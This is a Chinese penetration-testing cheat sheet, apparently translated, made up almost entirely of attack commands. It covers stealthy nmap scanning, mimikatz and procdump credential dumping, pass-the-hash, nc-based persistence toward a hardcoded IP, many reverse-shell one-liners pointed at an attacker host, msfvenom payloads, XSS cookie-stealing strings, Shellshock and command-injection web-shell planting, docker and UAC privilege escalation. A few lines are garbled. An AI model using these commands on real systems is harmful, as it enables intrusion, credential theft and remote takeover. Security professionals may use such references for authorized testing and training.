本文为作者总结自己在渗透测试中常用的一些小技巧。原文分为两部分,译者将其合二为一,方便大家查阅。
<code># 适用所有大小网络最好的 nmap 扫描策略 # 主机发现,生成存活主机列表 $ nmap -sn -T4 -oG Discovery.gnmap 192.168.56.0/24 $ grep "Status: Up" Discovery.gnmap | cut -f 2 -d ' ' > LiveHosts.txt # 端口发现,发现大部分常用端口 # http://nmap.org/presentations/BHDC08/bhdc08-slides-fyodor.pdf $ nmap -sS -T4 -Pn -oG TopTCP -iL LiveHosts.txt $ nmap -sU -T4 -Pn -oN TopUDP -iL LiveHosts.txt $ nmap -sS -T4 -Pn --top-ports 3674 -oG 3674 -iL LiveHosts.txt # 端口发现,发现全部端口,但 UDP 端口的扫描会非常慢 $ nmap -sS -T4 -Pn -p 0-65535 -oN FullTCP -iL LiveHosts.txt $ nmap -sU -T4 -Pn -p 0-65535 -oN FullUDP -iL LiveHosts.txt # 显示 TCP/UDP 端口 $ grep "open" FullTCP|cut -f 1 -d ' ' | sort -nu | cut -f 1 -d '/' |xargs | sed 's/ /,/g'|awk '{print "T:"$0}' $ grep "open" FullUDP|cut -f 1 -d ' ' | sort -nu | cut -f 1 -d '/' |xargs | sed 's/ /,/g'|awk '{print "U:"$0}' # 侦测服务版本 $ nmap -sV -T4 -Pn -oG ServiceDetect -iL LiveHosts.txt # 扫做系统扫描 $ nmap -O -T4 -Pn -oG OSDetect -iL LiveHosts.txt # 系统和服务检测 $ nmap -O -sV -T4 -Pn -p U:53,111,137,T:21-25,80,139,8080 -oG OS_Service_Detect -iL LiveHosts.txt </code>
<code># 分段 $ nmap -f # 修改默认 MTU 大小,但必须为 8 的倍数(8,16,24,32 等等) $ nmap --mtu 24 # 生成随机数量的欺骗 $ nmap -D RND:10 [target] # 手动指定欺骗使用的 IP $ nmap -D decoy1,decoy2,decoy3 etc. # 僵尸网络扫描, 首先需要找到僵尸网络的IP $ nmap -sI [Zombie IP] [Target IP] # 指定源端口号 $ nmap --source-port 80 IP # 在每个扫描数据包后追加随机数量的数据 $ nmap --data-length 25 IP # MAC 地址欺骗,可以生成不同主机的 MAC 地址 $ nmap --spoof-mac Dell/Apple/3Com IP </code>
<code>cd /usr/share/nmap/scripts/ wget http://www.computec.ch/projekte/vulscan/download/nmap_nse_vulscan-2.0.tar.gz && tar xzf nmap_nse_vulscan-2.0.tar.gz nmap -sS -sV --script=vulscan/vulscan.nse target nmap -sS -sV --script=vulscan/vulscan.nse –script-args vulscandb=scipvuldb.csv target nmap -sS -sV --script=vulscan/vulscan.nse –script-args vulscandb=scipvuldb.csv -p80 target nmap -PN -sS -sV --script=vulscan –script-args vulscancorrelation=1 -p80 target nmap -sV --script=vuln target nmap -PN -sS -sV --script=all –script-args vulscancorrelation=1 target </code>
注: DIRB 是一个专门用于爆破目录的工具,在 Kali 中默认已经安装,类似工具还有国外的 patator , dirsearch , DirBuster , 国内的御剑等等。
<code>dirb http://IP:PORT /usr/share/dirb/wordlists/common.txt </code>
<code># git clone https://github.com/lanjelot/patator.git /usr/share/patator # SMTP 爆破 $ patator smtp_login host=192.168.17.129 user=Ololena password=FILE0 0=/usr/share/john/password.lst $ patator smtp_login host=192.168.17.129 user=FILE1 password=FILE0 0=/usr/share/john/password.lst 1=/usr/share/john/usernames.lst $ patator smtp_login host=192.168.17.129 helo='ehlo 192.168.17.128' user=FILE1 password=FILE0 0=/usr/share/john/password.lst 1=/usr/share/john/usernames.lst $ patator smtp_login host=192.168.17.129 user=Ololena password=FILE0 0=/usr/share/john/password.lst -x ignore:fgrep='incorrect password or account name' </code>
注:Fierce 会检查 DNS 服务器是否允许区域传送。如果允许,就会进行区域传送并通知用户,如果不允许,则可以通过查询 DNS 服务器枚举主机名。类似工具: subDomainsBrute 和 SubBrute 等等
<code># http://ha.ckers.org/fierce/ $ ./fierce.pl -dns example.com $ ./fierce.pl –dns example.com –wordlist myWordList.txt </code>
<code>nikto -C all -h http://IP </code>
<code>git clone https://github.com/wpscanteam/wpscan.git && cd wpscan ./wpscan –url http://IP/ –enumerate p </code>
<code>wget http://www.net-square.com/_assets/httprint_linux_301.zip && unzip httprint_linux_301.zip cd httprint_301/linux/ ./httprint -h http://IP -s signatures.txt </code>
注:Skipfish 是一款 Web 应用安全侦查工具,Skipfish 会利用递归爬虫和基于字典的探针生成一幅交互式网站地图,最终生成的地图会在通过安全检查后输出。
<code>skipfish -m 5 -LY -S /usr/share/skipfish/dictionaries/complete.wl -o ./skipfish2 -u http://IP </code>
<code>nc -v -w 1 target -z 1-1000 for i in {101..102}; do nc -vv -n -w 1 192.168.56.$i 21-25 -z; done </code>
注: Unicornscan 是一个信息收集和安全审计的工具。
<code>us -H -msf -Iv 192.168.56.101 -p 1-65535 us -H -mU -Iv 192.168.56.101 -p 1-65535 -H 在生成报告阶段解析主机名 -m 扫描类型 (sf - tcp, U - udp) -Iv - 详细 </code>
<code>xprobe2 -v -p tcp:80:open IP </code>
<code>nmblookup -A target smbclient //MOUNT/share -I target -N rpcclient -U "" target enum4linux target </code>
<code>snmpget -v 1 -c public IP snmpwalk -v 1 -c public IP snmpbulkwalk -v2c -c public -Cn0 -Cr10 IP </code>
<code>net localgroup Users net localgroup Administrators search dir/s *.doc system("start cmd.exe /k $cmd") sc create microsoft_update binpath="cmd /K start c:/nc.exe -d ip-of-hacker port -e cmd.exe" start= auto error= ignore /c C:/nc.exe -e c:/windows/system32/cmd.exe -vv 23.92.17.103 7779 mimikatz.exe "privilege::debug" "log" "sekurlsa::logonpasswords" Procdump.exe -accepteula -ma lsass.exe lsass.dmp mimikatz.exe "sekurlsa::minidump lsass.dmp" "log" "sekurlsa::logonpasswords" C:/temp/procdump.exe -accepteula -ma lsass.exe lsass.dmp 32 位系统 C:/temp/procdump.exe -accepteula -64 -ma lsass.exe lsass.dmp 64 位系统 </code>
<code>转发远程端口到目标地址 plink.exe -P 22 -l root -pw "1234" -R 445:127.0.0.1:445 IP </code>
<code># https://www.offensive-security.com/metasploit-unleashed/portfwd/ # 转发远程端口到目标地址 meterpreter > portfwd add –l 3389 –p 3389 –r 172.16.194.141 kali > rdesktop 127.0.0.1:3389 </code>
<code>reg add "hklm/system/currentcontrolset/control/terminal server" /f /v fDenyTSConnections /t REG_DWORD /d 0 netsh firewall set service remoteadmin enable netsh firewall set service remotedesktop enable </code>
<code>netsh firewall set opmode disable </code>
<code># https://www.offensive-security.com/metasploit-unleashed/enabling-remote-desktop/ run getgui -u admin -p 1234 run vnc -p 5043 </code>
获取 Windows 明文用户名密码
<code>git clone https://github.com/gentilkiwi/mimikatz.git privilege::debug sekurlsa::logonPasswords full </code>
<code>git clone https://github.com/byt3bl33d3r/pth-toolkit pth-winexe -U hash //IP cmd 或者 apt-get install freerdp-x11 xfreerdp /u:offsec /d:win2012 /pth:HASH /v:IP 在或者 meterpreter > run post/windows/gather/hashdump Administrator:500:e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c::: msf > use exploit/windows/smb/psexec msf exploit(psexec) > set payload windows/meterpreter/reverse_tcp msf exploit(psexec) > set SMBPass e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c msf exploit(psexec) > exploit meterpreter > shell </code>
<code>hashcat -m 400 -a 0 hash /root/rockyou.txt </code>
<code>nc 192.168.0.10 80 GET / HTTP/1.1 Host: 192.168.0.10 User-Agent: Mozilla/4.0 Referrer: www.example.com <enter> <enter> </code>
<code>c:>nc -Lp 31337 -vv -e cmd.exe nc 192.168.0.10 31337 c:>nc example.com 80 -e cmd.exe nc -lp 80 nc -lp 31337 -e /bin/bash nc 192.168.0.10 31337 nc -vv -r(random) -w(wait) 1 192.168.0.10 -z(i/o error) 1-1000 </code>
<code># 查找 SUID root 文件 find / -user root -perm -4000 -print # 查找 SGID root 文件: find / -group root -perm -2000 -print # 查找 SUID 和 SGID 文件: find / -perm -4000 -o -perm -2000 -print # 查找不属于任何用户的文件: find / -nouser -print # 查找不属于任何用户组的文件: find / -nogroup -print # 查找软连接及其指向: find / -type l -ls </code>
<code>python -c 'import pty;pty.spawn("/bin/bash")' </code>
<code>python2 -m SimpleHTTPServer python3 -m http.server ruby -rwebrick -e "WEBrick::HTTPServer.new(:Port => 8888, <img data-original="http://image.3001.net/images/index/smilies/icon_biggrin.gif" src="http://www.freebuf.com/buf/themes/freebuf/images/grey.gif" alt=":D" /> </code>
ocumentRoot => Dir.pwd).start" php -S 0.0.0.0:8888
<code>fuser -nv tcp 80 fuser -k -n tcp 80 </code>
<code>hydra -l admin -P /root/Desktop/passwords -S X.X.X.X rdp </code>
<code>smbmount //X.X.X.X/c$ /mnt/remote/ -o username=user,password=pass,rw </code>
<code>gcc -m32 -o output32 hello.c (32 位) gcc -m64 -o output hello.c (64 位) </code>
<code>wget -O mingw-get-setup.exe http://sourceforge.net/projects/mingw/files/Installer/mingw-get-setup.exe/download wine mingw-get-setup.exe select mingw32-base cd /root/.wine/drive_c/windows wget http://gojhonny.com/misc/mingw_bin.zip && unzip mingw_bin.zip cd /root/.wine/drive_c/MinGW/bin wine gcc -o ability.exe /tmp/exploit.c -lwsock32 wine ability.exe </code>
注:NASM 全称 The Netwide Assembler,是一款基于80×86和x86-64平台的汇编语言编译程序,其设计初衷是为了实现编译器程序跨平台和模块化的特性。
<code>nasm -f bin -o payload.bin payload.asm nasm -f elf payload.asm; ld -o payload payload.o; objdump -d payload </code>
<code>ssh -D 127.0.0.1:1080 -p 22 user@IP Add socks4 127.0.0.1 1080 in /etc/proxychains.conf proxychains commands target </code>
<code>ssh -D 127.0.0.1:1080 -p 22 user1@IP1 Add socks4 127.0.0.1 1080 in /etc/proxychains.conf proxychains ssh -D 127.0.0.1:1081 -p 22 user1@IP2 Add socks4 127.0.0.1 1081 in /etc/proxychains.conf proxychains commands target </code>
<code>route add X.X.X.X 255.255.255.0 1 use auxiliary/server/socks4a run proxychains msfcli windows/* PAYLOAD=windows/meterpreter/reverse_tcp LHOST=IP LPORT=443 RHOST=IP E 或者 # https://www.offensive-security.com/metasploit-unleashed/pivoting/ meterpreter > ipconfig IP Address : 10.1.13.3 meterpreter > run autoroute -s 10.1.13.0/24 meterpreter > run autoroute -p 10.1.13.0 255.255.255.0 Session 1 meterpreter > Ctrl+Z msf auxiliary(tcp) > use exploit/windows/smb/psexec msf exploit(psexec) > set RHOST 10.1.13.2 msf exploit(psexec) > exploit meterpreter > ipconfig IP Address : 10.1.13.2 </code>
<code>git clone https://github.com/offensive-security/exploit-database.git cd exploit-database ./searchsploit –u ./searchsploit apache 2.2 ./searchsploit "Linux Kernel" cat files.csv | grep -i linux | grep -i kernel | grep -i local | grep -v dos | uniq | grep 2.6 | egrep "<|<=" | sort -k3 </code>
<code>msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP Address> X > system.exe msfvenom -p php/meterpreter/reverse_tcp LHOST=<IP Address> LPORT=443 R > exploit.php msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP Address> LPORT=443 -e -a x86 --platform win -f asp -o file.asp msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP Address> LPORT=443 -e x86/shikata_ga_nai -b "/x00" -a x86 --platform win -f c </code>
<code>msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<IP Address> LPORT=443 -e -f elf -a x86 --platform linux -o shell </code>
<code>msfvenom -p windows/shell_reverse_tcp LHOST=127.0.0.1 LPORT=443 -b "/x00/x0a/x0d" -a x86 --platform win -f c </code>
<code>msfvenom -p cmd/unix/reverse_python LHOST=127.0.0.1 LPORT=443 -o shell.py </code>
<code>msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f asp -a x86 --platform win -o shell.asp </code>
<code>msfvenom -p cmd/unix/reverse_bash LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -o shell.sh </code>
<code>msfvenom -p php/meterpreter_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -o shell.php add <?php at the beginning perl -i~ -0777pe's/^/<?php /n/' shell.php </code>
<code>msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f exe -a x86 --platform win -o shell.exe </code>
<code># 使用 uid 查找对应的程序 find / -uid 0 -perm -4000 # 查找哪里拥有写权限 find / -perm -o=w # 查找名称中包含点和空格的文件 find / -name " " -print find / -name ".." -print find / -name ". " -print find / -name " " -print # 查找不属于任何人的文件 find / -nouser # 查找未链接的文件 lsof +L1 # 获取进程打开端口的信息 lsof -i # 看看 ARP 表中是否有奇怪的东西 arp -a # 查看所有账户 getent passwd # 查看所有用户组 getent group # 列举所有用户的 crontabs for user in $(getent passwd|cut -f1 -d:); do echo "### Crontabs for $user ####"; crontab -u $user -l; done # 生成随机密码 cat /dev/urandom| tr -dc ‘a-zA-Z0-9-_!@#$%^&*()_+{}|:<>?=’|fold -w 12| head -n 4 # 查找所有不可修改的文件 find . | xargs -I file lsattr -a file 2>/dev/null | grep ‘^….i’ # 使文件不可修改 chattr -i file </code>
<code>msfvenom -p windows/shell_bind_tcp -a x86 --platform win -b "/x00" -f c msfvenom -p windows/meterpreter/reverse_tcp LHOST=X.X.X.X LPORT=443 -a x86 --platform win -e x86/shikata_ga_nai -b "/x00" -f c COMMONLY USED BAD CHARACTERS: /x00/x0a/x0d/x20 For http request /x00/x0a/x0d/x20/x1a/x2c/x2e/3a/x5c Ending with (0/n/r_) # 常用命令: pattern create pattern offset (EIP Address) pattern offset (ESP Address) add garbage upto EIP value and add (JMP ESP address) in EIP . (ESP = shellcode ) !pvefindaddr pattern_create 5000 !pvefindaddr suggest !pvefindaddr modules !pvefindaddr nosafeseh !mona config -set workingfolder C:/Mona/%p !mona config -get workingfolder !mona mod !mona bytearray -b "/x00/x0a" !mona pc 5000 !mona po EIP !mona suggest </code>
注:SEH(“Structured Exception Handling”),即结构化异常处理,是 windows 操作系统提供给程序设计者的强有力的处理程序错误或异常的武器。
<code># https://en.wikipedia.org/wiki/Microsoft-specific_exception_handling_mechanisms#SEH # http://baike.baidu.com/view/243131.htm !mona suggest !mona nosafeseh nseh="/xeb/x06/x90/x90" (next seh chain) iseh= !pvefindaddr p1 -n -o -i (POP POP RETRUN or POPr32,POPr32,RETN) </code>
注:ROP(“Return-Oriented Programming”)是计算机安全漏洞利用技术,该技术允许攻击者在安全防御的情况下执行代码,如不可执行的内存和代码签名。
DEP(“Data Execution Prevention”)是一套软硬件技术,在内存上严格将代码和数据进行区分,防止数据当做代码执行。
<code># https://en.wikipedia.org/wiki/Return-oriented_programming # https://zh.wikipedia.org/wiki/%E8%BF%94%E5%9B%9E%E5%AF%BC%E5%90%91%E7%BC%96%E7%A8%8B # https://en.wikipedia.org/wiki/Data_Execution_Prevention # http://baike.baidu.com/item/DEP/7694630 !mona modules !mona ropfunc -m *.dll -cpb "/x00/x09/x0a" !mona rop -m *.dll -cpb "/x00/x09/x0a" (auto suggest) </code>
<code># https://en.wikipedia.org/wiki/Address_space_layout_randomization # http://baike.baidu.com/view/3862310.htm !mona noaslr </code>
Egg hunting这种技术可以被归为“分级shellcode”,它主要可以支持你用一小段特制的shellcode来找到你的实际的(更大的)shellcode(我们的‘鸡蛋‘),原理就是通过在内存中搜索我们的最终shellcode。换句话说,一段短代码先执行,然后再去寻找真正的shellcode并执行。– 参考自 看雪论坛 ,更多详情可以查阅我在代码注释中增加的链接。
<code># https://www.corelan.be/index.php/2010/01/09/exploit-writing-tutorial-part-8-win32-egg-hunting/ # http://www.pediy.com/kssd/pediy12/116190/831793/45248.pdf # http://www.fuzzysecurity.com/tutorials/expDev/4.html !mona jmp -r esp !mona egg -t lxxl /xeb/xc4 (jump backward -60) buff=lxxllxxl+shell !mona egg -t 'w00t' </code>
<code># 设置断点 break *_start # 执行下一个命令 next step n s # 继续执行 continue c # 数据 checking 'REGISTERS' and 'MEMORY' # 显示寄存器的值: (Decimal,Binary,Hex) print /d –> Decimal print /t –> Binary print /x –> Hex O/P : (gdb) print /d $eax $17 = 13 (gdb) print /t $eax $18 = 1101 (gdb) print /x $eax $19 = 0xd (gdb) # 显示特定内存地址的值 command : x/nyz (Examine) n –> Number of fields to display ==> y –> Format for output ==> c (character) , d (decimal) , x (Hexadecimal) z –> Size of field to be displayed ==> b (byte) , h (halfword), w (word 32 Bit) </code>
<code>bash -i >& /dev/tcp/X.X.X.X/443 0>&1 exec /bin/bash 0&0 2>&0 exec /bin/bash 0&0 2>&0 0<&196;exec 196<>/dev/tcp/attackerip/4444; sh <&196 >&196 2>&196 0<&196;exec 196<>/dev/tcp/attackerip/4444; sh <&196 >&196 2>&196 exec 5<>/dev/tcp/attackerip/4444 cat <&5 | while read line; do $line 2>&5 >&5; done # or: while read line 0<&5; do $line 2>&5 >&5; done exec 5<>/dev/tcp/attackerip/4444 cat <&5 | while read line; do $line 2>&5 >&5; done # or: while read line 0<&5; do $line 2>&5 >&5; done /bin/bash -i > /dev/tcp/attackerip/8080 0<&1 2>&1 /bin/bash -i > /dev/tcp/X.X.X.X/443 0<&1 2>&1 </code>
<code>perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"attackerip:443");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;' # Win 平台 perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"attackerip:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;' perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};’ </code>
<code>ruby -rsocket -e 'exit if fork;c=TCPSocket.new("attackerip","443");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end' # Win 平台 ruby -rsocket -e 'c=TCPSocket.new("attackerip","443");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end' ruby -rsocket -e 'f=TCPSocket.open("attackerip","443").to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)' </code>
<code>python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("attackerip",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' </code>
<code>php -r '$sock=fsockopen("attackerip",443);exec("/bin/sh -i <&3 >&3 2>&3");' </code>
<code>r = Runtime.getRuntime() p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/attackerip/443;cat <&5 | while read line; do /$line 2>&5 >&5; done"] as String[]) p.waitFor() </code>
<code>nc -e /bin/sh attackerip 4444 nc -e /bin/sh 192.168.37.10 443 # 如果 -e 参数被禁用,可以尝试以下命令 # mknod backpipe p && nc attackerip 443 0<backpipe | /bin/bash 1>backpipe /bin/sh | nc attackerip 443 rm -f /tmp/p; mknod /tmp/p p && nc attackerip 4443 0/tmp/ # 如果你安装错了 netcat 的版本,请尝试以下命令 rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc attackerip >/tmp/f </code>
<code># 如果 netcat 不可用或者 /dev/tcp mknod backpipe p && telnet attackerip 443 0<backpipe | /bin/bash 1>backpipe </code>
<code># http://baike.baidu.com/view/418628.htm # 开启 X 服务器 (:1 – 监听 TCP 端口 6001) apt-get install xnest Xnest :1 # 记得授权来自目标 IP 的连接 xterm -display 127.0.0.1:1 # 授权访问 xhost +targetip # 在目标机器上连接回我们的 X 服务器 xterm -display attackerip:1 /usr/openwin/bin/xterm -display attackerip:1 or $ DISPLAY=attackerip:0 xterm </code>
<code>https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet ("< iframes > src=http://IP:PORT </ iframes >") <script>document.location=http://IP:PORT</script> ';alert(String.fromCharCode(88,83,83))///';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))///";alert(String.fromCharCode(88,83,83))//–></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT> ";!–"<XSS>=&{()} <IMG SRC="javascript:alert('XSS');"> <IMG SRC=javascript:alert('XSS')> <IMG """><SCRIPT>alert("XSS")</SCRIPT>""> <IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;> <IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041> <IMG SRC="jav ascript:alert('XSS');"> perl -e 'print "<IMG SRC=javascript:alert(/"XSS/")>";' > out <BODY onload!#$%&()*~+-_.,:;?@[/|/]^`=alert("XSS")> (">< iframes http://google.com < iframes >) <BODY BACKGROUND="javascript:alert('XSS')"> <FRAMESET><FRAME SRC=”javascript:alert('XSS');"></FRAMESET> "><script >alert(document.cookie)</script> %253cscript%253ealert(document.cookie)%253c/script%253e "><s"%2b"cript>alert(document.cookie)</script> %22/%3E%3CBODY%20onload=’document.write(%22%3Cs%22%2b%22cript%20src=http://my.box.com/xss.js%3E%3C/script%3E%22)'%3E <img src=asdf onerror=alert(document.cookie)> </code>
<code># 远端服务器 # 假设你准备让 SCTP socket 监听端口 80/SCTP 并且 sshd 端口在 22/TCP $ socat SCTP-LISTEN:80,fork TCP:localhost:22 # 本地端 # 将 SERVER_IP 换成远端服务器的地址,然后将 80 换成 SCTP 监听的端口号 $ socat TCP-LISTEN:1337,fork SCTP:SERVER_IP:80 # 创建 socks 代理 # 替换 username 和 -p 的端口号 $ ssh -lusername localhost -D 8080 -p 1337 </code>
使用洋葱网络
<code># 安装服务 $ apt-get install tor torsocks # 绑定 ssh 到 tor 服务端口 80 # /etc/tor/torrc SocksPolicy accept 127.0.0.1 SocksPolicy accept 192.168.0.0/16 Log notice file /var/log/tor/notices.log RunAsDaemon 1 HiddenServiceDir /var/lib/tor/ssh_hidden_service/ HiddenServicePort 80 127.0.0.1:22 PublishServerDescriptor 0 $ /etc/init.d/tor start $ cat /var/lib/tor/ssh_hidden_service/hostname 3l5zstvt1zk5jhl662.onion # ssh 客户端连接 $ apt-get install torsocks $ torsocks ssh login@3l5zstvt1zk5jhl662.onion -p 80 </code>
注:Metagoofil 是一款利用Google收集信息的工具。
<code># http://www.edge-security.com/metagoofil.php # 它可以自动在搜素引擎中检索和分析文件,还具有提供Mac地址,用户名列表等其他功能 $ python metagoofil.py -d example.com -t doc,pdf -l 200 -n 50 -o examplefiles -f results.html </code>
<code># 一个发现并利用服务器 Shellshock 的工具 # https://github.com/nccgroup/shocker $ ./shocker.py -H 192.168.56.118 --command "/bin/cat /etc/passwd" -c /cgi-bin/status --verbose # 查看文件 $ echo -e "HEAD /cgi-bin/status HTTP/1.1/r/nUser-Agent: () { :;}; echo /$(</etc/passwd)/r/nHost: vulnerable/r/nConnection: close/r/n/r/n" | nc 192.168.56.118 80 # 绑定 shell $ echo -e "HEAD /cgi-bin/status HTTP/1.1/r/nUser-Agent: () { :;}; /usr/bin/nc -l -p 9999 -e /bin/sh/r/nHost: vulnerable/r/nConnection: close/r/n/r/n" | nc 192.168.56.118 80 # 反弹 Shell $ nc -l -p 443 $ echo "HEAD /cgi-bin/status HTTP/1.1/r/nUser-Agent: () { :;}; /usr/bin/nc 192.168.56.103 443 -e /bin/sh/r/nHost: vulnerable/r/nConnection: close/r/n/r/n" | nc 192.168.56.118 80 </code>
<code># 获取 Docker 的 Root # user 必须在 docker 用户组中 ek@victum:~/docker-test$ id uid=1001(ek) gid=1001(ek) groups=1001(ek),114(docker) ek@victum:~$ mkdir docker-test ek@victum:~$ cd docker-test ek@victum:~$ cat > Dockerfile FROM debian:wheezy ENV WORKDIR /stuff RUN mkdir -p $WORKDIR VOLUME [ $WORKDIR ] WORKDIR $WORKDIR << EOF ek@victum:~$ docker build -t my-docker-image . ek@victum:~$ docker run -v $PWD:/stuff -t my-docker-image /bin/sh -c / 'cp /bin/sh /stuff && chown root.root /stuff/sh && chmod a+s /stuff/sh' ./sh whoami # root ek@victum:~$ docker run -v /etc:/stuff -t my-docker-image /bin/sh -c 'cat /stuff/shadow' </code>
<code># 让数据和命令使用 DNS 隧道传输以绕过防火墙的检查 # dnscat2 支持从目标主机上面上传和下载命令来获取文件、数据和程序 # 服务器 (攻击者) $ apt-get update $ apt-get -y install ruby-dev git make g++ $ gem install bundler $ git clone https://github.com/iagox86/dnscat2.git $ cd dnscat2/server $ bundle install $ ruby ./dnscat2.rb dnscat2> New session established: 16059 dnscat2> session -i 16059 # 客户机 (目标) # https://downloads.skullsecurity.org/dnscat2/ # https://github.com/lukebaggett/dnscat2-powershell $ dnscat --host <dnscat server_ip> </code>
<code>$ nasm -f elf32 simple32.asm -o simple32.o $ ld -m elf_i386 simple32.o simple32 $ nasm -f elf64 simple.asm -o simple.o $ ld simple.o -o simple </code>
<code># 生成 shell 使用的 ssh 密钥 $ wget -O - -q "http://domain.tk/sh.php?cmd=whoami" $ wget -O - -q "http://domain.tk/sh.php?cmd=ssh-keygen -f /tmp/id_rsa -N /"/" " $ wget -O - -q "http://domain.tk/sh.php?cmd=cat /tmp/id_rsa" # 增加用户 tempuser $ useradd -m tempuser $ mkdir /home/tempuser/.ssh && chmod 700 /home/tempuser/.ssh $ wget -O - -q "http://domain.tk/sh.php?cmd=cat /tmp/id_rsa" > /home/tempuser/.ssh/authorized_keys $ chmod 700 /home/tempuser/.ssh/authorized_keys $ chown -R tempuser:tempuser /home/tempuser/.ssh # 反弹 ssh shell $ wget -O - -q "http://domain.tk/sh.php?cmd=ssh -i /tmp/id_rsa -o StrictHostKeyChecking=no -R 127.0.0.1:8080:192.168.20.13:8080 -N -f tempuser@<attacker_ip>" </code>
<code>attacker:~$ curl -i -s -k -X 'POST' --data-binary $'IP=%3Bwhoami&submit=submit' 'http://victum.tk/command.php' attacker:~$ curl -i -s -k -X 'POST' --data-binary $'IP=%3Becho+%27%3C%3Fphp+system%28%24_GET%5B%22cmd%22%5D%29%3B+%3F%3E%27+%3E+..%2Fshell.php&submit=submit' 'http://victum.tk/command.php' attacker:~$ curl http://victum.tk/shell.php?cmd=id # 在服务器上下载 shell (phpshell.php) http://victum.tk/shell.php?cmd=php%20-r%20%27file_put_contents%28%22phpshell.php%22,%20fopen%28%22http://attacker.tk/phpshell.txt%22,%20%27r%27%29%29;%27 # 运行 nc 并执行 phpshell.php attacker:~$ nc -nvlp 1337 </code>
<code>msfvenom –p windows/shell_reverse_tcp LHOST=192.168.56.102 –f exe > danger.exe # 显示账户配置 net user <login> # Kali 上下载 psexec https://technet.microsoft.com/en-us/sysinternals/bb897553.aspx # 使用 powershell 脚本上传 psexec.exe 到目标机器 echo $client = New-Object System.Net.WebClient > script.ps1 echo $targetlocation = "http://192.168.56.102/PsExec.exe" >> script.ps1 echo $client.DownloadFile($targetlocation,"psexec.exe") >> script.ps1 powershell.exe -ExecutionPolicy Bypass -NonInteractive -File script.ps1 # 使用 powershell 脚本上传 danger.exe 到目标机器 echo $client = New-Object System.Net.WebClient > script2.ps1 echo $targetlocation = "http://192.168.56.102/danger.exe" >> script2.ps1 echo $client.DownloadFile($targetlocation,"danger.exe") >> script2.ps1 powershell.exe -ExecutionPolicy Bypass -NonInteractive -File script2.ps1 # 使用预编译的二进制文件绕过 UAC: https://github.com/hfiref0x/UACME # 使用 powershell 脚本上传 https://github.com/hfiref0x/UACME/blob/master/Compiled/Akagi64.exe 到目标机器 echo $client = New-Object System.Net.WebClient > script2.ps1 echo $targetlocation = "http://192.168.56.102/Akagi64.exe" >> script3.ps1 echo $client.DownloadFile($targetlocation,"Akagi64.exe") >> script3.ps1 powershell.exe -ExecutionPolicy Bypass -NonInteractive -File script3.ps1 # 在 Kali 上创建监听 nc -lvp 4444 # 以系统权限使用 Akagi64 运行 danger.exe Akagi64.exe 1 C:/Users/User/Desktop/danger.exe # 在 Kali 上创建监听 nc -lvp 4444 # 下一步就会反弹给我们一个提过权的 shell # 以系统权限使用 PsExec 运行 danger.exe psexec.exe –i –d –accepteula –s danger.exe </code>
<code>https://technet.microsoft.com/en-us/security/bulletin/dn602597.aspx #ms15-051 https://www.fireeye.com/blog/threat-research/2015/04/probable_apt28_useo.html https://www.exploit-db.com/exploits/37049/ # 查找目标机器是否安装了补丁,输入如下命令 wmic qfe get wmic qfe | find "3057191" # 上传编译后的利用程序并运行它 https://github.com/hfiref0x/CVE-2015-1701/raw/master/Compiled/Taihou64.exe # 默认情况下其会以系统权限执行 cmd.exe,但我们需要改变源代码以运行我们上传的 danger.exe # https://github.com/hfiref0x/CVE-2015-1701 下载它并定位到 "main.c" # 使用 wce.exe 获取已登录用户的明文账号密码 http://www.ampliasecurity.com/research/windows-credentials-editor/ wce -w # 使用 pwdump7 获取其他用户的密码哈希值 http://www.heise.de/download/pwdump.html # we can try online hash cracking tools such crackstation.net </code>
<code>$ nmap -v -p 139, 445 --script=smb-check-vulns --script-args=unsafe=1 192.168.31.205 $ searchsploit ms08-067 $ python /usr/share/exploitdb/platforms/windows/remote/7132.py 192.168.31.205 1 </code>
